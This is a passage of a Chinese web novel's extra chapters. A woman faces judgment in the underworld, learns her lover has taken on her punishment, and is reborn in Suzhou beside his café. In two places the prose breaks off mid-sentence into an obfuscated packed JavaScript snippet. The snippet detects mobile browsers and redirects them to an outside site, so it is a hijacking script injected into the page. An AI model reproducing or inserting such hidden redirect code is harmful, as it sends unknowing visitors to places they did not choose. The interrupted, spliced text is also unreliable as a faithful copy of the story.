黑无常抱着胳膊,冷冷扫了她一眼:“谁知你是否又使了什么法子,将自己扮作死人,潜入地府行事?” 初与序被气笑了:“我到底是死是活,二位大人查一查《生死簿》便知。” 白无常默然不语,片刻后伸手一挥,生死簿在他面前凭空展开,纸页哗啦啦自动翻动,最后停在某一页,上面清清楚楚写着几行字: 【初与序】 「阴册癸字号」 「坤造丁亥年九月十六日卯时生(2007年10月29日)」 「卒于丙午年孟春(2026年春)」 【批曰】 「鸩毒自戕,红颜薄命。十九殒落,哀哉。」 黑白无常看了看这几行字,又看了看站在自己面前,刚被甩到墙上,还扶着墙面色苍白身体虚弱的初与序,心里又尴尬又惊讶又无助,脸色青红交错十分精彩。 半晌,黑无常吐出两个字:“……抱歉。” 初与序呼出一口气,终于缓过神,挥了挥手示意无事。 能理解,能理解。如果她是黑无常,也不会轻易相信自己死了。 “跟我们来吧。”白无常朝着初与序淡淡笑了一下,那笑容像是在对待一个不打不相识的老朋友,随后转身朝着忘川河走去。 周围的鬼差齐刷刷投来震惊的目光,能在黄泉路上被黑白无常亲自带着走的亡魂,他们活了几辈子都见得少。初与序没理会那些目光,抬脚跟了上去。 奈何桥上,亡魂仍然排成一队,男女老少都有,一个接一个往上走。他们来到孟婆面前,犹豫片刻后接过汤碗,一饮而尽。 黑白无常没让初与序跟着他们一起排队,反而领着她继续向前走,在桥中间放缓了脚步。白无常转头去看身后的初与序,张嘴刚要说些什么,就见初与序看着孟婆手里那碗汤,脸色微微一变。 下一秒,她突然转身,伸手在奈何桥边的石栏上一撑。 黑白无常还没反应过来,就看着她翻身跃过高高的石栏,朝着忘川河跳了下去! “!”周围的亡魂再次发出一声惊呼。 黑无常立刻甩出勾魂锁,锁链再次缠住初与序的脚踝,猛地一拽,硬是把即将落入河中的她拉了回来。 初与序落回桥上,踉跄了一下,被锁链拽着站不稳。黑无常看着她,眼睛都睁大了,怒气上涌:“初与序!你疯了不成?可知那忘川河里都是甚物?!” 他指着桥下那条暗沉的河,怒道:“忘川水蚀魂销骨,你若跳进去,便得受那千年煎熬!千年!你当是闹着玩的?这里是阴间,你已经是魂魄了!” 黑沉沉的奈何桥上,初与序被勾魂锁束缚着动弹不得。她脸色异常苍白,发梢和眼睫被忘川的水汽浸染得湿润,站在桥边,静静地望着桥下翻腾的忘川河水。 听到这话,她转过头来看着黑无常,幽幽道:“我不会喝那碗汤,宁愿跳进忘川受千年煎熬。” 黑无常愣了一下。 “谁道你现下喝汤了?”白无常叹了口气,走上前,语气暖和了些,“你能否投胎,尚在两可之间。你须先去阎罗殿,将生前善恶核查分明,方知是打入十八层地狱,还是送往轮回。” 他伸手一指,忘川河的另一侧,赫然是半隐在雾气中的阎罗殿。黑沉沉的殿宇,和初与序记忆中的样子没什么区别。门口也排着长队,牛头提着钢叉把守殿门,一个一个放行。 初与序正愣神,就被黑无常拽着继续往桥下走:“你先前闯入阎罗殿,那罪业大得连孽镜台都照得碎开。此番要验你善恶,孽镜已是使不得,须得判官亲自动手,仔细查验。” 一路朝着阎罗殿走去,殿前是一片开阔的广场,铺着青黑色的石砖,上面洒着白色的纸钱。四周立着十几根粗大的石柱,每一根都要两人合抱。殿宇前檐两侧还各挂着一盏大红灯笼,像是在庆祝人间的新年。 周围看守的鬼差站成两排,有一大半都是曾经和初与序交过手的。此刻看到她被黑白无常领着走来,齐刷刷一僵,下意识抽出武器。 当时初与序和冬逢初进入阎罗殿,孽镜台炸裂,他们可都是在场亲眼见证的。那场景至今想起来还觉得后怕。 初与序面无表情地扫了他们一眼,黑白无常挥了挥手,那些鬼差如蒙大赫,又收起武器站回原位,但还是忍不住往这边看。 白无常朝着初与序做了个请的手势,温和道:“进去吧。” 阎罗殿的正门是两扇巨大的黑木门,门上嵌着铜钉,排成几排。门半敞开着,里面透出昏黄的光。 初与序跨过门槛,跟着黑白无常走入。 似乎是特意交代了,殿内暂 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“你算来不过十九载,寻常人这年纪,不过是读书、长大、懵懂、熟识愁滋味。”判官抬起眼,看了初与序一眼,“你呢?” 又低下头,继续翻开册子:“十岁丧父,被送往寄养家庭,此后八年挨打受骂。十四岁被送入善佑医院,成为实验对象,历时四年。十八岁被拉入永冬之城,此后九千余年,用玩家之身,行妄主之责,最终以一己之力终结永冬之城,使几百万玩家回归现实。” 判官把册子合上,十指交叉放在案桌上,目光冷硬地看向初与序:“初与序,你可知你这一生杀过多少人?” 初与序没有说话,判官也没指望听到她回答,自顾自地往下说:“死在永冬之城的玩家,以百万计。死在善佑医院的研究人员,以数百计。死在昨夜观测站的,又是数十人。” “这些,都是你亲手所为。” 初与序平稳地回答:“是。” 判官盯着她看了片刻,往后靠了靠,倚在椅背上,红袍轻轻晃动:“你可知,按阴律——杀一人者,入地狱受刑百年。杀十人者,千年。杀百人者,永世不得超生。” “你杀的人早已过了百数,你需在十八层地狱轮转过十七万三千年,从拔舌到刀锯,一层不少。十七万三千年后,你魂飞魄散,永世不得超生。” 殿内一片死寂,黑白无常闻言,脸色齐刷刷一变。 十七万三千年,还魂飞魄散,永世不得超生。这刑罚之重,在场所有人都心知肚明。他们纷纷转头看向初与序,想看看她会有什么反应—— 初与序点了点头:“哦。” 判官挑了挑眉,话锋一转:“……当然,你也有功德。” “永冬之城所有玩家因你而返阳,善佑医院孩童因你而脱困,四名执行官因你而得新生。按阴律,救一人者可抵十年刑期。” “你救的人,足以抵消你所有罪业。你可以投入轮回,下一世去个好人家,平安喜乐,寿终正寝。” 初与序又点了点头:“哦。” 判官愣了一下,他微微前倾身体,盯着初与序的眼睛:“初与序,你怎么一点都不在意?” “入地狱也好,入轮回也好,对你来说好像都一样。十七万三千年刑罚,你不怕?投个好人家重新做人,你不盼?” 初与序平静地看着他,淡淡开口:“大人,我这一生可不止活过十九年,我也死过不下五百次。入过地狱,上过刀山,下过火海,受过噬心之刑。我怕什么?” 判官没有说话,只是盯着她沉思。 “至于投个好人家,平安喜乐,寿终正寝,这确实很好。”初与序轻轻笑了一下,“但我想要的从来就不是这些,这些也配不上我如此精彩的这一辈子。” “说实话,我也不觉得我的功德能抵消全部罪业。死在我手里的人有一大半都该死,但他们的命也是命,我无权替他们决定生死,这也是为何我对入十八层地狱的罪行无所谓。” “我该魂飞魄散,那就散。我该入地狱,那就入。” 初与序微微侧头,看向殿外。远处,忘川河在雾气中缓缓流淌,浑浊的河水翻涌着,偶尔露出水下的白骨。亡魂们还在奈何桥上排着队,一个一个走向她不愿意去的方向。 她收回目光,叹道:“但无论如何,我还是会可惜……” 她没有继续说下去,只是缓缓抬起半透明的右手。 手指微微弯曲,那中指上还戴着那枚勿忘我戒指。它没有被地府的阴气沾染,仍闪着亮光,宛如刚戴上一般。那光芒很温柔,像一片落在手中的雪花。 363.驾鹤西游(二)[番外] 周围的人都看向那枚戒指,好奇地打算观察,可初与序又放下胳膊,将手背在身后。 她抬起头,看向判官:“大人,依您之意,到底该如何处置我?” 判官思索地摸了摸下巴,像在掂量着什么,片刻后他开口,忽然道:“其实还有一件事,你肯定会感兴趣的事,我没有说。” 初与序闻言,掀起眼皮看向他,礼貌地等待下文。 “大概在去年六月份的时候,地府新来了一缕魂魄。”判官慢条斯理地说,“但那魂魄并不是正常的亡魂,而是残魂。” “不是个体,是从别人身上分裂出来的一缕微弱的,甚至感觉即将要消散的魂魄。” 初与序抿着唇,身体很明显地僵了一下。 判官不紧不慢地继续说:“让我们惊讶的是,即使这样,那魂魄既然还成了人形。有感情,有意识,有完整的记忆,和正常亡魂别无两样。” “我记得当时的奈何桥上,本来黑白无常打算将他当作普通亡者,让他照常喝孟婆汤,投入轮回。” “……可那年轻男人盯着汤碗看了几秒,竟然像你一样,拔腿就朝着桥边跑,闹着要跳河。” 判官无奈地说:“被抓回来后又给黑白无常磕头,流着泪非不愿意喝下汤投胎去。” “黑白无常被他折腾得够呛,暂时放弃了让他好好投胎的想法,就带到了我面前。”判官摊开手,疑惑道,“我查看他的身世,可册子上却是一片空白,什么都没有。没有生辰,没有籍贯,没有任何记录。” “黑白无常查看他的因果线,却发现那竟然只有一条,牢牢地将他和那时尚在人间的你缠绕在一起。” 判官点了点面前的册子,摇头叹息:“我们从来没有看到过这种因果,仿佛你们俩就是同一人一样。” 初与序背着手站在高台之下,脊背笔直,一言不发。苍白的顶光从高处淌过她瘦削的肩颈,顺着那清晰的弧线一路滑进单薄领口的阴影里。 判官顿了顿,继续道:“我们又仔细一查,还发现这男人根本就不算一个‘人’。他在人间消失了,字面意思,就是永远不会再出现,根本不可能来到地府。” “但或许是因为他是从你体内分裂出来的,而你和他对互相的执念都太深了,所以他才像正常人一样,来到了这里。” “他算是好人,罪业少,功德抵消后还剩很多。总不能让人家当个孤魂野鬼,也只有让他好好投胎去。” 判官勾了勾唇,缓缓道:“可那男人还是不肯投胎,非要留在阴间等你。” 初与序缓缓皱眉:“你让他留在阴间了?” “我没那么不称职。”判官摇了摇头,说,“我告诉他,即使他在阴间等到了你,过了一段时间还是会去投胎,下辈子仍然见不到面。” “其次,我们当时还不知道你会来的……这么早。像他这种不稳定的魂魄,若长时间留在地府,很容易就会被地府其他的鬼魂侵蚀。再者,按照你的罪行,说不定都投不了胎,必须去十八层地狱受刑。” 判官唏嘘道:“然后,他说了一句令我们吃惊的话。” 初与序心里一咯噔:“什么?” 判官停顿了很久,才说:“他说,他要替你受刑。” “他说,他可以取十八层地狱轮转,帮你抵消罪业。反正他和你也算同一人,等受完罪了,他和你都去投胎。” “同时,他可以同意我的任何要求,只求下辈子能和你重逢。” 判官垂下眸子,声音柔和了些:“我没有理由不答应他的要求。” “想必你已经知道那个男人是谁了,他当时还和你一起闯入过地府。” 判官微微偏了偏头,像是在回忆什么:“我想想,他叫……冬逢初。” “啊对,冬逢初。当时,黑白无常看到他熟悉的样貌,也吓了一跳呢。” 判官坐直身体,字字清晰:“所以,冬逢初能替你分走一大半刑罚,你二人功德相加,又念你所行罪业非出自本心,确可抵去大半,只需入万鬼深渊囚上五月,而冬逢初已替你承下此五月之苦。一月之后,他便能投胎转世,与你来生再见。” 殿内的人都以为初与序在听到这个消息后,会感到庆幸,庆幸她还能和爱人相遇。可初与序的神色却明显担忧地阴沉下来。 她上前一步,开口就要说些什么,余光却忽然瞟到角落里某个身影—— 一袭白衣,扎着低马尾,手腕上缠着锁链,站在窗边,朝着她微微眨了眨眼。 初与序一愣,话到嘴边,又改了口:“那……我该怎么与他在入轮回后重逢?” 判官靠回椅背,十指交叉抵着下巴,盯着初与序看了片刻,一字一句道:“本来,让两个人下辈子相遇,是极难的事。” “轮回之事,各有各的因果,各有各的业绩。投胎去哪家,生在何时何地,遇见何人,错过何人,都是早已写定的。强行更改,需耗费极大的功德,且未必能成。” 他顿了顿:“更何况,你们要的不是相遇,是重逢。不是擦肩而过,不是一面之缘,而是真正的、长久地、以彼此生命中最重要的身份,待在对方身边。” “这种事,在地府几千年也难成一桩。” 他的目光落在初与序平静的脸上,缓缓开口:“但冬逢初身上有一件东西,你身上也有……” 话说到一半,他就看见初与序忽然从怀里取出一枚玉佩。 玉佩不大,简单的圆形平安扣设计,玉质温润,泛着淡淡的暖光。很明显能看出这本来是成对的玉佩,但是另一半不在初与序身上。 初与序抬起手,那枚玉佩缓缓飘起,飘到判官面前。 她淡淡道:“这是双栖佩,是我与冬逢初在永冬之城得到的,随我来到了地府。任何地点,我们都可以主动激发玉佩,与持有另一枚玉佩的绑定者指定时间重逢。” “我觉得,冬逢初给您的也是这个。” 判官看着飘在自己眼前的玉佩,片刻后他伸出手,在虚空轻轻一划。 另一枚相对的玉佩出现在半空中。 两枚玉佩缓缓靠近,然后融合在一起,拼凑成一对交颈相依的鸳鸯。 判官感慨道:“这东西内含的能量极强,强到连我初见时,都有些吃惊。” 他伸出手,让那只鸳鸯落在掌心:“它是用你最初分裂出冬逢初时,意外溜出来的那一缕精神力凝成的。你们在永冬之城成婚时,那缕精神力感知到了你们彼此的誓言,便彻底融入玉佩之中。” 他抬起眼,看向初与序:“换句话说,这对玉佩里,封存着你最初分裂时,对冬逢初的全部执念——你要他活着,你要他陪着,你要他永远不离开。” 初与序微微垂下眸子,眼里有某种情绪一闪而过。 判官笑了笑:“他在地府这一年,用自己仅剩的那点微薄魂力温养这枚玉佩。他不肯投胎,除了等你,还是为了确保这对玉佩的力量足够强,强到能穿透轮回,让你们下一世还能找到彼此。” “现在,这对玉佩的力量已经足够强了。” 那对融合后的鸳鸯在半空中微微散发着银蓝色的光芒,那光芒很柔和。判官盯着这玉佩看了片刻,又开口道:“不只是能让你们相遇。” “它还能让你们身边所有重要的人,下一世都待在一起。” 初与序一怔:“所有?” “所有。”判官点了点头,“只要他们愿意,只要他们也在心里念着你们,念着那份从永冬之城带出来的情谊。这对玉佩会感应到,将他们一个个引到你们身边。” “下一世,你们还会在一起。” “至于具体怎么安排,等你们投胎时,我自会处理。”判官又道,“你们不必操心。” 说着,他缓缓从椅子上站起身。右手背在身后,左手抬起,宽大的暗红色长袖笼罩过半空中那枚鸳鸯玉佩。他轻轻一扫,那对玉佩便消失在空中。 判官看向初与序,刚想开口让她先一步去往奈何桥喝孟婆汤,投入轮回。却见初与序又往前一步,躬身拱手道:“判官大人,我想留在地府等冬逢初。一月之后,与他同入轮回。” 判官听到她的话,没有半分惊讶,像是已经料到初与序会提出这个请求。 他背着手踱到台下,点了点头:“也好。你本事不小,留在地府歇养几日,等恢复过来了,便帮着料理些鬼混,也好为来世积点功德。下辈子,自能轻省些。” 接着,他朝着阎罗殿一边招了招手:“小许啊,那便劳你先替这新来的亡魂安置住处,再将地府的规矩与她说来。” 顺着判官招手的方向看去,刚才朝着初与序眨眼的男子慢悠悠走了过来。 他一袭白衣拢着清瘦骨骼,衣袍随着步伐轻轻晃动。低束的马尾垂落几缕碎发,衬得侧颈冷白如玉。美颜温和,唇角噙着若有若无的笑意。 此时此刻他站在判官边上,但姿态松散悠闲,并不像是下属。能看出他的身份虽然是常见的鬼差,但在地府的真实地位很高。 他礼貌地朝着初与序伸出手,浅浅笑了一下:“你好,在下许白。” 初与序抬眸看了他几秒,也装作不认识,伸手轻轻握了一下:“初与序。” 许白转头看向判官,朝着他道:“交给我便是。” 判官伸手拍了拍他的肩,罕见地露出和蔼的笑容,没说些什么,示意许白可以离开了。许白点了点头,看向初与序:“请跟我来吧。” 说罢,他朝着阎罗殿外走去,初与序朝着判官和黑白无常一一拱手,跟着离开。 许白领着初与序一路又来到了奈何桥前面的黄泉路。 在人间,生死总是一件大事,人们以为这事要挑时辰,要择因果,其实哪来那么多讲究? 疾病会带走一些人,灾祸会带走一些人。就算是什么缘故也没有,睡了一觉醒不来了,也不算稀奇。每时每刻都有人去世,所以黄泉路到奈何桥这一段泥地上,每时每刻都排着长队。前头的老亡魂投入轮回,化作医院里新生儿的一声啼哭。后头的新亡魂加入队伍,成为太平间里逝者散去的最后一缕心气。 那些还没有投入轮回的亡魂们一回头,看见初与序完好无恙,还被一个看起来地位很高的鬼差礼貌地又带了回来,再一次纷纷惊讶地投来了目光。 许白没看他们,将初与序带到黄泉路一处隐在雾中的亭子里。 亭子不大,有些年头了。周围雾气缭绕,把亭子围成一个与世隔绝的小天地。许白站在亭子边缘,手搭在栏杆上,微微侧头看着不远处排着长队的奈何桥。 “初与序。”他轻轻叫她的名字,“你知道那桥,为什么叫奈何桥吗?” 初与序面无表情顺着他的目光看去,淡淡道:“奈何,无可奈何的奈何。” 许白听到她回答,眼底闪过一丝惊讶,随即又恢复成笑意,点了点头,认可道:“求不得,奈何。放不下,奈何。舍不得,也奈何。” “走上这座桥的人,都是无可奈何的人。活着的时候总有那么多来不及——来不及说的话,来不及见的人,来不及做的事。等死了,站在桥头,才发现什么都晚了,事情一步步走向不可挽回的地方。奈何,奈何,就是告诉你,你没办法了。你再怎么想,怎么悔,怎么求,都没有用了。” 许白又指了一下奈何桥下面翻腾的河水:“桥下那条河,叫忘川。活人以为过了桥,喝了孟婆汤,前世就忘了。可只有我们知道,忘川里的水是倒流的。” “忘川水倒流,是因为活着的人不肯往前走。而死人没有脚,走不了,所以只能往回看。那些跳下去的人,便会被困在过去里,一遍一遍地往回游,那就是‘痛彻骨髓’。水流往前,他们往后,没有时光机,一辈子回不去。” 许白回头看了一眼初与序,初与序也垂眸看去—— 自己的身体是半透明的,轻飘飘的。膝盖往下的部分能感受到小腿的存在,但轮廓越来越淡,脚踝以下已经完全消失不见,飘在半空中。 她来到许白身边,倚在栏杆上,和他对视。 许白勾了勾唇:“对了,有件事我要告诉你。” “冬逢初没去万鬼深渊。” 在刚才他对着初与序偷偷眨眼的时候,初与序已经猜到了。但真正听到许白说这句话时,她才终于呼了口气,放松下来。 “他刚到的时候,说什么都不愿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“忘川河岸,不要再惦记着什么了。去来世,去和冬逢初再相见吧。” 初与序回过头,许白还站在亭子里,靠在栏杆上,朝她挥了挥手。初与序向他恭敬地行了一礼,雾气渐浓,很快就把他的身影吞没了。 初与序重新转过身,走在黄泉路上各种孤魂野鬼之间。 寒意裹着她全身,耳边是持续不断的鬼哭狼嚎,游荡的鬼魂们隐隐聚集在初与序周围。它们飘在半空,奇怪又警惕地打量着她,试图触碰她的魂魄,却在她周身半尺的地方被什么东西弹开。几次之后,它们只敢远远地跟着。 忽然,一阵阴风从后方轻轻吹来。 那风倒并不刺骨,反而带着一点若有若无的暖意。拂起初与序后颈的黑发,露出下面一截半透明的苍白皮肤。 初与序在原地停顿住,听见身后的雾气里隐隐传来声音。 有哭声,有笑声,还有隐隐约约呼唤她名字的声音。那声音断断续续地飘过来,但并不是恶意的,反而像是含着笑,温润轻柔地呼唤着爱人。 初与序身体一僵,下意识就要转身去瞧—— “黄泉路上不回头。” 耳边猝然无比清晰地响起某个魂牵梦绕的声音,似乎那个朝思暮想的人就站在自己身后,微微俯身,贴近她的耳畔,垂着眼睫,一字一句缓缓吐出这几个字。 初与序站在原地没动,右手手腕处忽然一热,腕骨仿佛被人轻轻摩挲了一下。 她微微抬起头看向周围,除了鬼魂还是鬼魂,除此之外空无一物。 初与序忽然轻轻地笑了一下,最终没有转过身,慢慢朝着奈何桥上走去。 孟婆还是坐在那里,守着那口冒着青绿色热气的大锅,正一勺一勺盛着汤。她将汤碗递给前一个人,看着他一饮而尽,再收回空碗,目送着亡魂的背影朝着桥前方走去,又收回视线,抬眼看向走来的初与序。 “啊,又是你。”孟婆苍老的声音响起,沙哑道,“小丫头,我记得你。” 初与序微微弯腰:“婆婆。” 她伸出手,刚要接过孟婆递来的汤碗,却见孟婆突然收回手。 她将汤碗朝着自己这边微微倾斜,浑浊的汤水一下子倒去一大半,哗啦啦落在桥下的忘川河里,只剩下那么一丁点,在碗底浅浅铺了一层,在昏暗的鬼火光线下幽幽散发着莹莹绿光。 初与序一愣,抬起头看向孟婆。 孟婆清明的眼底倒映着这一碗光芒,那目光直直落在初与序脸上。她缓缓将汤碗又递给初与序,带着慈祥的味道,慢条斯理道:“该忘的,便忘了。可有些事忘不得,那就永远记着吧。” 初与序轻轻呼出一口气,双手接过那碗孟婆汤。 汤面是浑浊的绿色,但并不让人觉得恶心,反而带着一点奇异的清透。汤面上浅浅映着她苍白但遮不住秀丽的面容,眉眼里浸着点点星光,像是远处空中长明灯倒映的光,又像是泪光。 她端起碗,将那一点点孟婆汤喝下。 液体滑过喉咙,带着一丝丝甜味,轻柔地淌下去,像一条地下河,流入很深很深,看不见尽头的地方。 她睁开眼,眼神并没有多少变化,还是那种目光——平静的,淡淡的,而那股仿佛挥之不尽的忧伤,却在此刻消失得一干二净。 初与序低垂着眉眼,有些空空地看着自己半透明的双手,随后将空碗还给了孟婆,微微倾身:“多谢婆婆。” 婆婆接过碗,点了点头。 初与序直起身,转身朝着奈何桥尽头走去。 桥很长,雾气很浓,前方是什么看不清,只有一点微弱的光,在远处一闪一闪,像在引路。 死亡不是一件可怕的事,那只是亡者去了一个很远很远的地方,远到奈何桥那碗热汤凉透了时,桥下的忘川水便蒸腾起来,化作漫天柔软的祥云,托着离家的亡者往更高处去。他们能听见桥尽头有脚步声,就那么不紧不慢地跟在身后。那是先走一步的人,正细细地替你理着被风吹乱的衣领,絮絮地说着这一路上的光景——说前面有花开,说前面有暖阳,说前面有他等了好久好久终于等来的重逢。 再远些的地方,有香火的暖意穿过云层漫过来,那暖意很淡,却绵绵不绝,像无数盏长明的灯,在看不见的地方亮着。焚音如缕,正唱着新生,唱着轮回,唱着那些走散的人终会再见的约定。 所以,黄泉路上别回头,继续往前走吧。 尽头的雾气会越来越薄,光会越来越亮,他会一直跟在你身后,寸步不离。等雾散尽的时候,你就会看见,那道修长的人影在前面等你。 364.来世(一)[番外] 苏州,七里山塘。 山塘街的初冬微凉,是江南特有的凉法,不似北地寒冷。是软润的,像浸了水的丝绸,缠绵地贴在皮肤上。 午后的日光薄薄地敷在粉墙黛瓦上,将整条街都染成旧画里才有的色调。风从前方中央的河道上来,有船只慢悠悠地从桥下钻出来,船娘穿着蓝布袄子,轻声唱着吴歌。船舱里坐着几个年轻游客,谈笑着看着两岸的店肆人家。船娘自顾自唱完了,就指着前面说:“呶,那就是通贵桥,乾隆皇帝走过的地方。” 店铺沿街排开,卖糕团、绸扇、碧螺春的,也有开甜品店、面馆的。冬天来的游客少,大部分都是本地人,吴侬软语四处柔柔响起,买菜的讨价还价,喝茶的闲话家常,连吵架都是软的,像被这里的水汽泡软了,吵不出火气来。 就在这一片温软里,街边悄没声地多了一家花店。 门楣上悬着一块小小的匾,女老板手写了三个字:不得语。 字是瘦瘦的隶书,瞄着淡淡的青。不张扬,却自有一种端然,让人看了,便忍不住往里瞧了一眼。店铺不大,有一扇擦得很亮的木格落地窗,窗里窗外都是花。 几枝白梅斜在素净的陶瓶里,瓶是龙泉的青。墙角一捧洋桔梗,淡紫的边,粉白的心,挤挤挨挨地插在粗陶罐里。案上有菖蒲,有南天竹,还有叫不出名字的绿植,叶片肥润润的。它们就静静待在那里,呼吸着从河面飘来的带着水汽的空气。 年轻的女老板立在店里,正垂着眼修剪梅花。咖色毛衣宽松地笼着瘦削的肩,长发齐肩,柔顺地贴着侧颈,线条一路温吞地没进衣领,周身气息清冷又软和,像窗外那几多浅蓝的勿忘我。 就在花店隔壁,开了好些年的“一水间”咖啡馆里有人影晃动。 里面开了暖气,玻璃窗上凝着一层薄薄的雾,把里头的人影晕得模糊了。隐约能看见男老板高挑修长的人影端着咖啡,轻声细语地为客人介绍最近的新品。 咖啡醇厚的香味隐隐从内飘出,吸引的游客犹豫几秒,便推开门走了进去。门上挂着的用干勿忘我串成一串的风铃就轻轻地响了起来。 往对面看,是一家名叫“枕水望山”的民宿。 白墙黛瓦,木格窗棂,三层小楼,临河而建。两个男老板站在门口,一个戴着黑框眼镜,穿着灰色毛衣,另一个披着外套,耳朵上是花里胡哨的耳钉,笑嘻嘻地与对方说些什么。 阳光从西边斜斜地照进来,落在花叶上,落在那只趴在门口休息的伯恩山犬身上。狗胖成瓦罐,懒洋洋地眯着眼,尾巴有一搭没一搭地扫着地砖,对来来往往的行人熟视无睹。戴眼眶眼睛的男人蹲下来摸了摸它,它便舒服地从喉咙里发出呼噜呼噜声。 两个站在民宿门口的男老板又简单交谈了几句,江意便朝着门内探身说了句什么,几秒后,一个黄头发,穿着蓝色夹克,背着吉他的青年从侧门冲了出来。 他路过伯恩山犬时还俯身顺手飞快撸了一把,又直起身,穿过街道,跑到不得语花店门口,扶着门框往里面探头,清清凉凉地喊:“初与序!” 初与序停下修剪梅花的动作,将剪刀轻轻搁在桌上,转头去看。 随歌一手攥着吉他背包带,另一手扶着门框,笑嘻嘻地说:“意哥让我顺路来传话,等今晚景明垂回来,我们六个去枕水望山楼顶吃饭,大概……六点半左右。” “六个?”初与序扬起眉毛,问道,“除了苏叶,还有谁?” 随歌朝着隔壁一指:“你刚来山塘街开花店不知道——你隔壁的一水间咖啡馆老板,长得老帅了!意哥和叶子跟他认识好久了,他人蛮好的,晚上也一起来吃饭。” 说着,他朝着初与序眨了眨眼,促狭道:“序啊,你二十五了,有没有兴趣找个对象啊?本帅哥之前见过那老板一面,说真的,英俊潇洒风流倜傥……当然只比我帅上那么一丢丢吧哈哈。而且人家超温润礼貌,又会做饭又会做咖啡。他做的手冲比外面那些网红店强多了,拉花也好看。他还会做奶茶什么的吧,我还喝过他的……” 他簌簌叨叨地堵在门口:“哦还有,你猜我发现了啥?特别惊奇的事儿,人家长得和你很像,简直是男版的你吧,他叫啥来着?也是三个字,我想想……” 话说到一半,初与序就懒得听了,伸出手将随歌往外退:“好了好了我知道了,那什么,你不是要先和李腾创新歌吗?快走吧,晚上见。” 随歌被她推着往外推退,还回头喊:“喂!我真没骗你!你晚上自己看就知道了!”。 他被推出了门外,站在青石板上无奈地摇了摇头。接着转过身,朝着街对面枕水望山门口的江意挥了挥手,示意完成任务。随后便背着吉他,朝着远处跑去,很快消失在巷子拐角。 初与序抱着胳膊站在门口,稀薄的阳光照过来,在她清晰的轮廓上镀了一层淡金色的轮廓。长发垂在肩侧,被穿堂而过的河风吹起几缕。 她朝着街对面并肩而立的江意和苏叶弯了弯眉眼,轻轻笑了一下,算是打招呼。 有对年轻小情侣正好走过来,小姑娘挽着男朋友的手,在不得语门口停下脚步。她探头往店里看:“老板,有没有什么适合冬天情侣的花呀?” “有紫罗兰,山茶花,腊梅等。”初与序侧过身,做了个请的手势,声音轻轻的,“园艺品种的勿忘我也有。二位可以进来看看,有没有喜欢的。” 小姑娘的眼睛一下子亮起来,拉着男友的手就往里面走:“终于有卖勿忘我的了!宝宝我们快进去看看!” 青年被她拽着,笑着回头看初与序,点了点头算是致意,然后乖乖跟着自己的爱人走进去。 初与序正打算跟进去,却不知为何,下意识朝着隔壁的一水间看了一眼。 ——刚好有几位客人推门出来,门开了又合的那几秒,能隐约看见一个穿着灰色针织衫外套,浅棕色头发的男人站在吧台后方,正和店员低声说着什么。 似乎是听到了什么愉悦的事,男人垂下眉眼,轻轻地笑了一下。 紧接着门被关上,什么都看不到了。 一股强烈的熟悉感涌上心头,初与序看着那个方向,在原地站了两秒,就又转过身,回到了不得语。 晚上六点半,天黑了下来。 山塘街两侧店铺外面挂着的红灯笼一盏一盏地亮起来,从这头望到那头,像是两条红线,沿着河水静静地烧。初冬夜晚的风凉嗖嗖地对着人吹,游客比白天少了,缩着脖子走着,呵出的白气一团一团,散在夜色中。 河上的船也泊了,摇橹靠在船边,船娘不知去向,大概也在吃饭。河水静静地流,流过船底和桥洞,流过那些红灯笼的倒影,一直绵延地往远处去。 店铺里飘出饭菜的香味,葱花酱油,还有一点酒酿的甜。有的店门半掩着,里头透出暖黄的光,隐约听见碗筷的声音。店主们这时也歇下来了,围着桌子吃饭,饭菜的热气袅袅地往上飘。 住客们都去了外面吃饭,枕水望山此刻没有多少人。楼顶亮着光,玻璃上蒙着一层薄薄的雾,三四个人影在里面晃动。 初与序轻轻将不得语的木门合上,挂上“马上回来”的小牌子,转身朝着街对面的枕水望山走去。 大门特意虚掩着,推门进去,一楼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243427|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有人,昏黄的灯光照亮拐角的木质楼梯。走上三楼,是大概两百多平的客厅,装修得雅致舒服。落地窗对着山塘街的方向,能看见那些红灯笼的光远远地亮着。 客厅里摆着长桌、布艺的沙发、几株绿植,墙上挂着几幅画,角落还有一架钢琴。能明显看出来,枕水望山的江老板金玉满堂,开民宿只是喜欢,副业罢了。 客厅中央有一张大长桌,中间架着一口锅,汤底咕噜咕噜地冒着泡,辣油的红和骨汤的白泾渭分明,香气飘得满屋子都是。周围摆着小碟子,粉丝、年糕、丸子、白菜、藕片、牛肉卷、羊肉卷……满满当当,琳琅满目。 厨房里隐约传来人声和切菜声,听着热闹。 初与序刚绕过沙发,就看见景明垂从厨房那边走出来,捧着一摞青花瓷的碗。 “这么快就来了?”景明垂看见她,脚步不停,走到桌边开始摆碗筷,“还以为你要再等一会。” 初与序刚要说话—— 阿山突然从房间里冲了出来,嘴里似乎叼着什么东西,头也不回地朝着三楼外面的院子冲去,在客厅里刮起一阵风,尾巴扫过茶几,差点把一盆绿植带倒,眨眼间就消失在通往院子的拐角处。 初与序:“……” 景明垂:“……” 下一秒, “我操啊——!” 房间里传出混乱的脚步声,伴随着有人撞倒家具的声响,然后是更加混乱的脚步声,还有人在喊,声音凄厉,像是遭遇了什么灭顶之灾。 “景明垂你的狗把我吉他拨片叼走了!!我最爱的拨片!!那是我用了一年的拨片!!是我开过光的拨片!!是我和我吉他的定情信物!!!” 随歌跌跌撞撞地跑出房间,脚下却不知道踩到了什么,整个人往前一滑,一屁股坐在了瓷砖地板上! 景明垂站在桌边,手里还拿着一双没放下的筷子,面无表情地看着他。 ……最怕空气突然安静。 随歌仰起头,一脸生无可恋地看着天花板:“老天爷是不是在玩我。” 初与序走过去,忍着笑将他扶起来,问道:“阿山叼走的是你的吉他拨片?” 